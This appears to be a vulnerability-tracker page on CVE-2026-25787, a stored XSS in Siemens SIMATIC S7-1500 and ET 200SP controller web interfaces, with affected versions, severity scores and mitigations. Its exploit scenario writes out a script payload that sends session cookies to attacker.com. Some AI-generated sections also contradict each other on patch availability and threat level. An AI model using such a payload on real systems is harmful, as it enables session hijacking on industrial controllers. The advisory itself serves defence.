Skip to main content

SIMATIC S7-1500 CVE-2026-25787

| EUVDEUVD-2026-29427 CRITICAL
Cross-site Scripting (XSS) (CWE-79)
2026-05-12 siemens GHSA-6664-q64g-w92p
XSS Siemens Simatic Et 200Sp Cpu 1510Sp F 1 Pn Simatic Et 200Sp Cpu 1510Sp 1 Pn Simatic Et 200Sp Cpu 1512Sp F 1 Pn Simatic Et 200Sp Cpu 1512Sp 1 Pn Simatic S7 1500 Cpu 1511 1 Pn Simatic S7 1500 Cpu 1511F 1 Pn Simatic S7 1500 Cpu 1513 1 Pn Simatic S7 1500 Cpu 1515 2 Pn Simatic S7 1500 Cpu 1515F 2 Pn Simatic S7 1500 Cpu 1516 3 Pn Dp Simatic S7 1500 Cpu 1516F 3 Pn Dp Simatic Drive Controller Cpu 1504D Tf Simatic Drive Controller Cpu 1507D Tf Simatic Et 200Sp Cpu 1514Sp F 2 Pn Simatic Et 200Sp Cpu 1514Sp 2 Pn Simatic Et 200Sp Cpu 1514Spt F 2 Pn Simatic Et 200Sp Cpu 1514Spt 2 Pn Simatic Et 200Sp Open Controller Cpu 1515Sp Pc Incl Siplus Variants Simatic Et 200Sp Open Controller Cpu 1515Sp Pc2 Incl Siplus Variants V2 Cpus Simatic Et 200Sp Open Controller Cpu 1515Sp Pc2 Incl Siplus Variants V3 Cpus Simatic Et 200Sp Open Controller Cpu 1515Sp Pc3 V4 Cpus Simatic S7 1500 Cpu 1511C 1 Pn Simatic S7 1500 Cpu 1511T 1 Pn Simatic S7 1500 Cpu 1511Tf 1 Pn Simatic S7 1500 Cpu 1512C 1 Pn Simatic S7 1500 Cpu 1513F 1 Pn Simatic S7 1500 Cpu 1513Pro F 2 Pn Simatic S7 1500 Cpu 1513Pro 2 Pn Simatic S7 1500 Cpu 1515T 2 Pn Simatic S7 1500 Cpu 1515Tf 2 Pn Simatic S7 1500 Cpu 1516Pro F 2 Pn Simatic S7 1500 Cpu 1516Pro 2 Pn Simatic S7 1500 Cpu 1516T 3 Pn Simatic S7 1500 Cpu 1516T 3 Pn Dp Simatic S7 1500 Cpu 1516Tf 3 Pn Simatic S7 1500 Cpu 1516Tf 3 Pn Dp Simatic S7 1500 Cpu 1517 3 Pn Simatic S7 1500 Cpu 1517 3 Pn Dp Simatic S7 1500 Cpu 1517F 3 Pn Simatic S7 1500 Cpu 1517F 3 Pn Dp Simatic S7 1500 Cpu 1517T 3 Pn Simatic S7 1500 Cpu 1517T 3 Pn Dp Simatic S7 1500 Cpu 1517Tf 3 Pn Simatic S7 1500 Cpu 1517Tf 3 Pn Dp Simatic S7 1500 Cpu 1518 3 Pn Simatic S7 1500 Cpu 1518 4 Pn Dp Simatic S7 1500 Cpu 1518 4 Pn Dp Mfp Simatic S7 1500 Cpu 1518F 3 Pn Simatic S7 1500 Cpu 1518F 4 Pn Dp Simatic S7 1500 Cpu 1518F 4 Pn Dp Mfp Simatic S7 1500 Cpu 1518T 3 Pn Simatic S7 1500 Cpu 1518T 4 Pn Dp Simatic S7 1500 Cpu 1518Tf 3 Pn Simatic S7 1500 Cpu 1518Tf 4 Pn Dp Simatic S7 1500 Cpu S7 1518 4 Pn Dp Odk Simatic S7 1500 Cpu S7 1518F 4 Pn Dp Odk Simatic S7 1500 Et 200Pro Simatic S7 1500 Software Controller Cpu 1507S F V2 Simatic S7 1500 Software Controller Cpu 1507S F V3 Simatic S7 1500 Software Controller Cpu 1507S F V4 Simatic S7 1500 Software Controller Cpu 1507S V2 Simatic S7 1500 Software Controller Cpu 1507S V3 Simatic S7 1500 Software Controller Cpu 1507S V4 Simatic S7 1500 Software Controller Cpu 1508S F V2 Simatic S7 1500 Software Controller Cpu 1508S F V3 Simatic S7 1500 Software Controller Cpu 1508S F V4 Simatic S7 1500 Software Controller Cpu 1508S T V3 Simatic S7 1500 Software Controller Cpu 1508S Tf V3 Simatic S7 1500 Software Controller Cpu 1508S V2 Simatic S7 1500 Software Controller Cpu 1508S V3 Simatic S7 1500 Software Controller Cpu 1508S V4 Simatic S7 1500 Software Controller Linux V2 Simatic S7 1500 Software Controller Linux V3 Simatic S7 Plcsim Advanced Siplus Et 200Sp Cpu 1510Sp F 1 Pn Siplus Et 200Sp Cpu 1510Sp F 1 Pn Rail Siplus Et 200Sp Cpu 1510Sp 1 Pn Siplus Et 200Sp Cpu 1510Sp 1 Pn Rail Siplus Et 200Sp Cpu 1512Sp F 1 Pn Siplus Et 200Sp Cpu 1512Sp F 1 Pn Rail Siplus Et 200Sp Cpu 1512Sp 1 Pn Siplus Et 200Sp Cpu 1512Sp 1 Pn Rail Siplus S7 1500 Cpu 1511 1 Pn Siplus S7 1500 Cpu 1511 1 Pn T1 Rail Siplus S7 1500 Cpu 1511 1 Pn Tx Rail Siplus S7 1500 Cpu 1511F 1 Pn Siplus S7 1500 Cpu 1513 1 Pn Siplus S7 1500 Cpu 1513F 1 Pn Siplus S7 1500 Cpu 1515F 2 Pn Siplus S7 1500 Cpu 1515F 2 Pn Rail Siplus S7 1500 Cpu 1515F 2 Pn T2 Rail Siplus S7 1500 Cpu 1516 3 Pn Dp Siplus S7 1500 Cpu 1516 3 Pn Dp Rail Siplus S7 1500 Cpu 1516 3 Pn Dp Tx Rail Siplus S7 1500 Cpu 1516F 3 Pn Dp Siplus S7 1500 Cpu 1516F 3 Pn Dp Rail Siplus S7 1500 Cpu 1518 4 Pn Dp Siplus S7 1500 Cpu 1518 4 Pn Dp Mfp Siplus S7 1500 Cpu 1518F 4 Pn Dp
9.3
CVSS 4.0 · Vendor: siemens
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Compromise engineering credentials
  2. Delivery
    Access TIA Portal
  3. Exploit
    Inject script in TO name
  4. Install
    Download malicious project
  5. C2
    Victim accesses diagnostics page
  6. Execute
    Execute JavaScript in victim session
  7. Impact
    Exfiltrate session tokens
  8. Step 8
    Hijack authenticated session
  9. Step 9
    Modify controller configuration

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires attacker to possess high-privilege TIA Portal engineering credentials with authorization to create or modify Technology Objects and download projects to the target controller - typically automation engineer, system integrator, or OEM roles. Attacker must have network access to the TIA Portal engineering environment (often isolated on OT networks but may be accessible from compromised engineering workstations). Victim must be an authenticated user with web interface access privileges who specifically navigates to the Motion Control Diagnostics page where the malicious TO name is rendered - not triggered by routine controller operations or HMI interaction. Exploitation limited to environments actively using motion control functionality with Technology Objects defined (not all S7-1500 deployments use motion control features). Attack surface increases in multi-engineer environments with shared TIA Portal projects or contractors with temporary access. Does NOT require: direct internet access to controllers (AV:N refers to network attack against engineering environment), unauthenticated access, or zero-click exploitation. Defensive factors: proper role-based access control in TIA Portal, project change management with code review, network segmentation between IT/OT zones, and disabling web server when not needed for maintenance all limit realistic exploitation despite the network attack vector.

Impact

The CVSS 4.0 score of 9.3 and vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H indicate critical severity with high impact across confidentiality, integrity, and availability in both the vulnerable system and subsequent systems (scope change implied by SC:H/SI:H/SA:H metrics). However, real-world exploitability faces significant barriers: PR:H (high privileges required) means the attacker must already possess TIA Portal engineering credentials with project download authorization - typically reserved for automation engineers and system integrators. UI:P (user interaction required) means a second privileged user must access the specific Motion Control Diagnostics page to trigger execution. This is a stored XSS requiring insider access or compromised engineering workstation rather than remote internet exploitation. EPSS data not provided but would likely be low given the privilege requirements. Not present in CISA KEV, indicating no confirmed active exploitation. However, industrial environments with shared engineering workstations, inadequate role segregation, or contractor access present realistic attack scenarios. The scope change metrics suggest the XSS could pivot beyond the web interface to affect controller operations if executed scripts leverage authenticated APIs. Priority assessment: High for environments with motion control systems and multiple engineering personnel; Medium for single-engineer sites with strong workstation security; context-dependent based on network segmentation between IT/OT zones. Data confidence is high - Siemens Product CERT advisory SSA-688146 provides authoritative affected product list and technical details.

Exploit ScenarioDerived

An attacker with compromised or insider engineering credentials accesses the TIA Portal project environment and creates a Technology Object for a motion control axis, embedding a malicious JavaScript payload in the TO name field (e.g., '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'). The attacker exports this project and downloads it to the target SIMATIC S7-1500 controller using their legitimate engineering access. Days or weeks later, a plant engineer or system integrator with appropriate privileges logs into the controller's web interface to troubleshoot motion control issues and navigates to the Motion Control Diagnostics page to review axis parameters. The unsanitized TO name is rendered in the HTML, executing the attacker's JavaScript in the victim's authenticated browser session. The script exfiltrates the victim's session cookies to the attacker-controlled server, enabling session hijacking. The attacker then uses the stolen session to access the controller web interface with the victim's high privileges, potentially modifying safety parameters, downloading proprietary ladder logic, or reconfiguring I/O mappings to cause production disruption. Publicly available exploit code not identified at time of analysis, but the stored XSS technique is well-documented for security researchers with access to TIA Portal and test hardware.

Emergency Immediate action required. Why: CRITICAL + active threat signals, no patch available.
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – May 12, 2026

Stored cross-site scripting (XSS) in Siemens SIMATIC S7-1500 and ET 200SP controller families allows authenticated attackers with high privileges to inject malicious scripts via Technology Object (TO) names when downloading TIA Portal projects. The scripts execute when authorized users access the Motion Control Diagnostics web interface page, enabling session hijacking, credential theft, or privileged actions performed under the victim's context. This affects over 100 product variants across industrial automation controllers, software controllers, and open controllers. No active exploitation confirmed (not in CISA KEV). EPSS score not provided in dataset. CVSS 4.0 score of 9.3 reflects high impact across confidentiality, integrity, and availability in both vulnerable and subsequent systems.

Earlier versions of this analysis (1)
v1 May 12, 2026 - 10:03 CVSS 9.1

Stored cross-site scripting (XSS) in Siemens SIMATIC S7-1500 and ET 200SP controllers allows privileged attackers with project upload capabilities to inject malicious JavaScript into Technology Object names that execute when administrators access the Motion Control Diagnostics web interface. The vulnerability affects dozens of SIMATIC S7-1500 CPU variants, Drive Controllers, and Software Controllers. CVSS 9.1 reflects scope change and high privileges required, but EPSS data is not available. No public exploit code or CISA KEV listing identified at time of analysis, indicating limited real-world exploitation evidence despite high theoretical severity.

RemediationAI

Apply firmware updates according to Siemens ProductCERT advisory SSA-688146 (https://cert-portal.siemens.com/productcert/html/ssa-688146.html). For SIMATIC S7-1500 standard CPUs (1511, 1513, 1515F-2, 1516F-3 variants), upgrade to firmware V2.9.9 or later. For advanced technology and Drive Controller CPUs (1516T, 1517, 1518, Drive Controller 1504D/1507D variants), upgrade to firmware V3.1.6 or later. For SIMATIC ET 200SP distributed controllers, Software Controllers (all versions V2/V3/V4), ET 200SP Open Controllers, and S7-PLCSIM Advanced, consult the advisory for product-specific patched versions as these span multiple product lines. SIPLUS ruggedized variants follow the same version scheme as their standard counterparts. Until patching is complete, implement these compensating controls with noted trade-offs: (1) Restrict TIA Portal project download permissions to a minimal set of trusted engineers using controller access control lists - reduces attack surface but may impact operational flexibility in multi-engineer environments. (2) Disable or block web server access (port TCP/443 or HTTP/80) to the Motion Control Diagnostics page using firewall rules or controller web server configuration - eliminates XSS trigger mechanism but prevents legitimate diagnostics access, potentially complicating troubleshooting. (3) Implement mandatory code review of all Technology Object configurations before project deployment, scanning for script tags or JavaScript in TO names - labor-intensive and may slow development cycles. (4) Network segmentation: isolate engineering workstations and controller management interfaces from general IT networks using dedicated OT VLANs - effective defense-in-depth but requires network infrastructure changes. Priority: patch standard S7-1500 CPUs and ET 200SP controllers first as these represent the broadest installed base.

Affected VersionsENISA

SIMATIC S7-1500 Software Controller Linux V2 0 <*
SIMATIC S7-1500 CPU 1515F-2 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1518-4 PN/DP MFP 0 <V3.1.6
SIPLUS S7-1500 CPU 1516-3 PN/DP 0 <V2.9.9
SIMATIC ET 200SP Open Controller CPU 1515SP PC3 V4 CPUs 0 <*
SIPLUS S7-1500 CPU 1511-1 PN TX RAIL 0 <V2.9.9
SIMATIC S7-1500 CPU 1517T-3 PN/DP 0 <V3.1.6
SIMATIC S7-1500 CPU 1515TF-2 PN 0 <*
SIMATIC S7-1500 Software Controller CPU 1508S F V2 0 <*
SIMATIC ET 200SP CPU 1510SP F-1 PN 0 <*
SIMATIC Drive Controller CPU 1504D TF 0 <V3.1.6
SIMATIC ET 200SP Open Controller CPU 1515SP PC (incl. SIPLUS variants) 0 <*
SIMATIC S7-1500 Software Controller Linux V3 0 <*
SIPLUS S7-1500 CPU 1513F-1 PN 0 <V2.9.9
SIPLUS S7-1500 CPU 1516-3 PN/DP TX RAIL 0 <V2.9.9
SIPLUS S7-1500 CPU 1516-3 PN/DP RAIL 0 <V2.9.9
SIMATIC S7-1500 CPU 1518-4 PN/DP 0 <V3.1.6
SIPLUS S7-1500 CPU 1518-4 PN/DP 0 <V3.1.6
SIMATIC S7-1500 CPU 1516T-3 PN/DP 0 <V3.1.6
SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) V2 CPUs 0 <*
SIMATIC S7-1500 CPU 1517F-3 PN 0 <*
SIMATIC ET 200SP CPU 1514SP F-2 PN 0 <*
SIMATIC Drive Controller CPU 1507D TF 0 <V3.1.6
SIPLUS S7-1500 CPU 1518-4 PN/DP MFP 0 <V3.1.6
SIMATIC S7-1500 CPU 1516TF-3 PN 0 <*
SIPLUS S7-1500 CPU 1511F-1 PN 0 <*
SIMATIC S7-1500 CPU 1516T-3 PN 0 <*
SIPLUS ET 200SP CPU 1510SP F-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1517F-3 PN/DP 0 <V3.1.6
SIMATIC S7-1500 CPU 1516F-3 PN/DP 0 <V2.9.9
SIMATIC S7-1500 CPU 1511F-1 PN 0 <V2.9.9
SIPLUS S7-1500 CPU 1515F-2 PN RAIL 0 <V2.9.9
SIMATIC S7-1500 Software Controller CPU 1508S T V3 0 <*
SIMATIC S7-1500 CPU 1513F-1 PN 0 <*
SIMATIC S7-1500 Software Controller CPU 1508S F V3 0 <*
SIPLUS S7-1500 CPU 1513-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1511-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1513-1 PN 0 <*
SIMATIC S7-1500 Software Controller CPU 1507S F V2 0 <*
SIMATIC S7-1500 CPU 1511TF-1 PN 0 <V2.9.9
SIMATIC ET 200SP CPU 1514SPT F-2 PN 0 <*
SIMATIC S7-1500 CPU 1518T-4 PN/DP 0 <V3.1.6
SIPLUS S7-1500 CPU 1518F-4 PN/DP 0 <V3.1.6
SIPLUS S7-1500 CPU 1513F-1 PN 0 <*
SIPLUS ET 200SP CPU 1512SP F-1 PN RAIL 0 <V2.9.9
SIMATIC S7-1500 CPU 1511TF-1 PN 0 <*
SIMATIC S7-1500 CPU 1516TF-3 PN/DP 0 <V3.1.6
SIPLUS S7-1500 CPU 1511-1 PN T1 RAIL 0 <V2.9.9
SIPLUS S7-1500 CPU 1515F-2 PN T2 RAIL 0 <V2.9.9
SIMATIC S7-1500 CPU 1518T-3 PN 0 <*
SIMATIC S7-1500 CPU 1513pro F-2 PN 0 <*
SIMATIC S7-1500 CPU 1513pro-2 PN 0 <*
SIMATIC S7-1500 CPU 1515F-2 PN 0 <*
SIMATIC S7-1500 CPU 1518F-3 PN 0 <*
SIMATIC ET 200SP CPU 1512SP F-1 PN 0 <*
SIPLUS ET 200SP CPU 1510SP-1 PN RAIL 0 <V2.9.9
SIMATIC S7-1500 CPU 1518TF-4 PN/DP 0 <V3.1.6
SIPLUS S7-1500 CPU 1516F-3 PN/DP RAIL 0 <V2.9.9
SIMATIC ET 200SP CPU 1510SP F-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1513-1 PN 0 <V2.9.9
SIMATIC S7-1500 Software Controller CPU 1507S F V3 0 <*
SIMATIC S7-1500 CPU 1511C-1 PN 0 <V2.9.9
SIMATIC ET 200SP CPU 1510SP-1 PN 0 <V2.9.9
SIPLUS S7-1500 CPU 1516F-3 PN/DP 0 <V2.9.9
SIMATIC S7-1500 CPU 1512C-1 PN 0 <V2.9.9
SIMATIC S7-1500 ET 200pro: CPU 1516PRO-2 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1511T-1 PN 0 <V2.9.9
SIPLUS ET 200SP CPU 1512SP-1 PN 0 <V2.9.9
SIPLUS S7-1500 CPU 1513-1 PN 0 <*
SIMATIC ET 200SP CPU 1512SP F-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1512C-1 PN 0 <*
SIMATIC S7-1500 CPU S7-1518F-4 PN/DP ODK 0 <*
SIPLUS S7-1500 CPU 1516F-3 PN/DP 0 <*
SIMATIC S7-1500 Software Controller CPU 1508S F V4 0 <*
SIMATIC ET 200SP CPU 1510SP-1 PN 0 <*
SIMATIC S7-1500 ET 200pro: CPU 1513PRO-2 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1517-3 PN 0 <*
SIPLUS S7-1500 CPU 1515F-2 PN 0 <V2.9.9
SIMATIC S7-1500 CPU S7-1518-4 PN/DP ODK 0 <*
SIMATIC S7-1500 CPU 1511C-1 PN 0 <*
SIMATIC S7-1500 CPU 1517T-3 PN 0 <*
SIMATIC S7-1500 CPU 1516pro-2 PN 0 <*
SIMATIC S7-1500 CPU 1511-1 PN 0 <*
SIPLUS S7-1500 CPU 1511F-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1515-2 PN 0 <*
SIMATIC S7-1500 CPU 1517TF-3 PN 0 <*
SIMATIC S7-1500 CPU 1517-3 PN/DP 0 <V3.1.6
SIMATIC S7-1500 CPU 1511T-1 PN 0 <*
SIMATIC S7-1500 CPU 1517TF-3 PN/DP 0 <V3.1.6
SIMATIC S7-1500 CPU 1518F-4 PN/DP 0 <V3.1.6
SIMATIC S7-1500 Software Controller CPU 1507S V2 0 <*
SIMATIC S7-1500 CPU 1515T-2 PN 0 <*
SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP 0 <V3.1.6
SIMATIC S7-1500 Software Controller CPU 1507S V3 0 <*
SIPLUS S7-1500 CPU 1516-3 PN/DP 0 <*
SIMATIC S7-1500 CPU 1516-3 PN/DP 0 <*
SIPLUS ET 200SP CPU 1512SP F-1 PN 0 <*
SIMATIC S7-1500 ET 200pro: CPU 1513PRO F-2 PN 0 <V2.9.9
SIPLUS S7-1500 CPU 1511-1 PN 0 <*
SIMATIC S7-1500 CPU 1516pro F-2 PN 0 <*
SIPLUS ET 200SP CPU 1510SP F-1 PN RAIL 0 <V2.9.9
SIMATIC S7-1500 CPU 1518-3 PN 0 <*
SIMATIC S7-1500 CPU 1513F-1 PN 0 <V2.9.9
SIMATIC ET 200SP CPU 1512SP-1 PN 0 <V2.9.9
SIMATIC S7-1500 Software Controller CPU 1507S F V4 0 <*
SIMATIC S7-1500 Software Controller CPU 1508S TF V3 0 <*
SIMATIC ET 200SP CPU 1514SPT-2 PN 0 <*
SIMATIC S7-1500 Software Controller CPU 1508S V3 0 <*
SIPLUS ET 200SP CPU 1512SP-1 PN RAIL 0 <V2.9.9
SIMATIC S7-PLCSIM Advanced 0 <*
SIMATIC S7-1500 Software Controller CPU 1508S V2 0 <*
SIPLUS ET 200SP CPU 1510SP-1 PN 0 <V2.9.9
SIMATIC S7-1500 Software Controller CPU 1508S V4 0 <*
SIMATIC S7-1500 ET 200pro: CPU 1516PRO F-2 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1515TF-2 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1518TF-3 PN 0 <*
SIMATIC ET 200SP CPU 1512SP-1 PN 0 <*
SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) V3 CPUs 0 <*
SIMATIC S7-1500 CPU 1515T-2 PN 0 <V2.9.9
SIPLUS ET 200SP CPU 1512SP F-1 PN 0 <V2.9.9
SIMATIC ET 200SP CPU 1514SP-2 PN 0 <*
SIMATIC S7-1500 Software Controller CPU 1507S V4 0 <*
SIPLUS S7-1500 CPU 1511-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1516F-3 PN/DP 0 <*
SIMATIC S7-1500 CPU 1511F-1 PN 0 <*
SIMATIC S7-1500 CPU 1515-2 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1516-3 PN/DP 0 <V2.9.9

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation) in the web-based management interface of Siemens SIMATIC controllers. The affected products include hardware PLCs (S7-1500 CPU variants, ET 200SP distributed controllers, Drive Controllers), software-based controllers (S7-PLCSIM Advanced, Software Controller for Linux/Windows), and open controllers. The TIA Portal (Totally Integrated Automation Portal) engineering environment allows engineers to define Technology Objects - structured data blocks for motion control applications. When a TIA project containing a maliciously crafted TO name is downloaded to a controller, the web server fails to sanitize this input before rendering it on the Motion Control Diagnostics page. The vulnerability exists in the embedded web server component common across multiple SIMATIC product lines, evidenced by the extensive CPE list covering CPU models from compact 1511 controllers through high-end 1518 models, including safety-rated (F-suffix), technology (T-suffix), and failsafe variants. CVSS 4.0 metrics indicate network-based attack vector with low complexity but requiring high privileges and user interaction, suggesting the attack chain involves an authenticated project engineer deploying malicious content that triggers when another privileged user accesses diagnostics.

Know when Simatic Et 200Sp Cpu 1510Sp F 1 Pn gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (siemens) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (siemens) · only source for this CVE.

CVSS VectorVendor: siemens

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

3
Analysis Updated
May 12, 2026 - 10:29 vuln.today
v2 - CVSS changed
CVSS changed
May 12, 2026 - 10:22 NVD
9.1 (CRITICAL) 9.3 (CRITICAL)
CVE Published
May 12, 2026 - 08:21 nvd
CRITICAL 9.1

DescriptionCVE.org

Affected devices do not properly validate and sanitize Technology Object (TO) name rendered on the "Motion Control Diagnostics" page of the web interface. This could allow an authenticated attacker who is authorized to download a TIA project into the product, to inject malicious scripts into the page. If a benign user with appropriate rights accesses the "Motion Control Diagnostics" parameters page, the malicious code would be executed in the scope of their web session.

Executive ViewAI

Why It Matters

Siemens SIMATIC S7-1500 and ET 200SP industrial controllers contain a stored XSS vulnerability (CVSS 9.3) that allows high-privilege authenticated users to inject malicious scripts via project downloads, with execution occurring when other authorized personnel access the Motion Control Diagnostics interface. This vulnerability threatens credential theft, session hijacking, and unauthorized privileged actions across over 100 controller variants in critical industrial automation environments, creating direct risk to operational integrity and asset security.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict high-privilege account permissions to only personnel requiring TIA Portal project administration; (2) Disable or air-gap the Motion Control Diagnostics web interface where operationally feasible; (3) Implement network segmentation isolating affected controllers from trusted user networks; (4) Enforce multi-factor authentication for all high-privilege accounts; (5) Conduct periodic audits of project files for suspicious Technology Object (TO) naming patterns; (6) Log and monitor all project download and diagnostics interface access events.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Threat Intel
1
1 source
Social Media
2
Sightings
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat Yes
Deciding rule
CRITICAL + active threat signals, no patch available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

56
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: +10
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-25786 CRITICAL
9.3 May 12

Stored cross-site scripting in Siemens SIMATIC S7-1500 controller family web interface allows authenticated high-privile

CVE-2025-40833 HIGH
8.7 May 12

Denial of service in Siemens industrial networking equipment allows remote unauthenticated attackers to crash affected d

CVE-2026-63354 CRITICAL
9.4 Oct 13

Cross-site scripting in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP, and SIMATIC Drive Controller CPU

CVE-2026-63353 CRITICAL
9.4 Oct 13

Stored cross-site scripting in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP, Drive Controller and S7-1

CVE-2026-63350 CRITICAL
9.4 Oct 13

Importing a maliciously crafted trace file into the integrated web server of a Siemens SIMATIC S7-1500 (and closely rela

CVE-2026-25789 HIGH
7.2 May 12

Cross-site scripting (XSS) in Siemens SIMATIC S7-1500 PLC family firmware upload interface allows authenticated attacker

CVE-2026-63357 MEDIUM
5.3 Oct 13

Stored cross-site scripting (CWE-79) in the integrated web server Trace page of Siemens SIMATIC S7-1500, ET 200SP, and S

CVE-2026-63356 MEDIUM
5.3 Oct 13

Reflected cross-site scripting in the integrated web server of a broad range of Siemens SIMATIC S7-1500, ET 200SP, and D

CVE-2026-63355 MEDIUM
5.3 Oct 13

Stored/DOM cross-site scripting (CWE-79, CVSS 6.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) in the web-based Trace

CVE-2026-63352 MEDIUM
5.3 Oct 13

Cross-site scripting (CWE-79) in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP, and SIMATIC Drive Contr

CVE-2026-63351 MEDIUM
5.3 Oct 13

Stored cross-site scripting in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP and SIMATIC Drive Controll

Threat IntelligenceMISP

CISA Advisories
Sources: CISA (public domain)

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy